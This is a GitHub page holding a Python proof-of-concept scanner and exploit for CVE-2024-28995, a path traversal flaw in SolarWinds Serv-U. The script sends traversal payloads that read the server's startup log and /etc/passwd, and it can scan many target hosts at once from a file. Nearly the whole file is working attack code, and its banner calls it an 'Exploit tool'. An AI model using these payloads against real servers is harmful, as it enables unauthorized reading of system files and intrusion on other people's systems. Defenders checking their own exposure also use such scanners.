-
Notifications
You must be signed in to change notification settings - Fork 4
/
CVE-2024-28995.py
150 lines (127 loc) · 7.07 KB
/
CVE-2024-28995.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
"""
###########################################################################################################
# #
# CVE-2024-28995 POC Vulnerability Scanner #
# #
# Author: x.com/MohamedNab1l #
# GitHub: https://github.com/bigb0x/CVE-2024-28995 #
# #
# Description: #
# This tool scans for SolarWinds Serv-U CVE-2024-28995 vulnerability on target hosts. It supports single #
# and bulk scans. #
# #
# Features: #
# - Scans a single target URL or multiple URLs from a file. #
# - Uses multi-threading to scan multiple targets concurrently. #
# #
# How to Use: #
# 1. To scan a single target URL: #
# python cve-2024-28995.py -ip IP #
# #
# 2. To scan multiple URLs from a file: #
# python cve-2024-28995.py -f targets.txt #
# (The file should contain one target URL per line) #
# #
# Example Output: #
# [01:55:10][INFO] Vulnerable Host: https://IP #
# #
# Note: #
# - The script automatically handles URLs starting with "http" or "https". #
# - It skips SSL verification for simplicity, and suppresses related warnings. #
# #
###########################################################################################################
"""
import requests
import sys
import threading
import datetime
import argparse
import urllib3
# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ANSI
blue_color = '\033[94m'
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
reset_color = '\033[0m'
light_green_color = '\033[92m'
# Status
def print_message(status_color, status, message):
now = datetime.datetime.now().strftime('%H:%M:%S')
print(f"{cyan_color}[{now}]{status_color} [{status}]{reset_color} {message}")
# Requests
def make_request(url):
try:
response = requests.get(url, verify=False) # Skip SSL verification for simplicity
if response.status_code == 200:
return response.text
else:
return None
except requests.RequestException as e:
return None
# Payloads
def check_path_exists(base_url, semaphore):
paths_to_check = [
"/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt",
"/?InternalDir=\\..\\..\\..\\etc&InternalFile=passwd"
]
for path in paths_to_check:
url = f"{base_url}{path}"
body = make_request(url)
# print(body)
if not body:
print_message(red_color, "ERROR", f"Not Vulnerable: {base_url}")
return
if "Operating System: Windows Server" in body:
print_message(light_orange_color, "VLUN", f"Vulnerable Windows Server: {base_url}")
break # Skip the second test if the first test is positive
elif any(unix_str in body for unix_str in ["root:x", "bin:x", "admin:x", "sys:x"]):
print_message(light_orange_color, "VLUN", f"Vulnerable Linux Serever: {base_url}")
break # Skip the second test if the first test is positive
semaphore.release()
def read_ips_from_file(filename):
with open(filename, 'r') as file:
return [line.strip() for line in file]
# Normalize IPs
def normalize_url(url):
if not url.startswith("http://") and not url.startswith("https://"):
url = "https://" + url
return url
# Main function
def main():
print(f"""
{light_orange_color}
█▀▀ █░█ █▀▀ ▄▄ ▀█ █▀█ ▀█ █░█ ▄▄ ▀█ █▀█ █▀█ █▀
█▄▄ ▀▄▀ ██▄ ░░ █▄ █▄█ █▄ ▀▀█ ░░ █▄ ▀▀█ ▀▀█ ▄█
-> Exploit tool for CVE-2024-28995
{reset_color}
""")
parser = argparse.ArgumentParser(description="Scan for CVE-2024-28995 vulnerability.")
parser.add_argument('-ip', '--ip', help='Target IP/URL')
parser.add_argument('-f', '--file', help='File containing list of target IPs/URLs')
args = parser.parse_args()
if not args.ip and not args.file:
print_message(red_color, "ERROR", "Please provide -ip for a single target IP or -f to use a file containing list of target IPs/URLs.")
sys.exit(1)
if args.ip:
targets = [normalize_url(args.ip)]
elif args.file:
try:
targets = [normalize_url(ip) for ip in read_ips_from_file(args.file)]
except FileNotFoundError:
print_message(red_color, "ERROR", f"File not found: {args.file}")
return
max_threads = 3
semaphore = threading.BoundedSemaphore(value=max_threads)
threads = []
for target in targets:
semaphore.acquire()
thread = threading.Thread(target=check_path_exists, args=(target, semaphore))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if __name__ == "__main__":
main()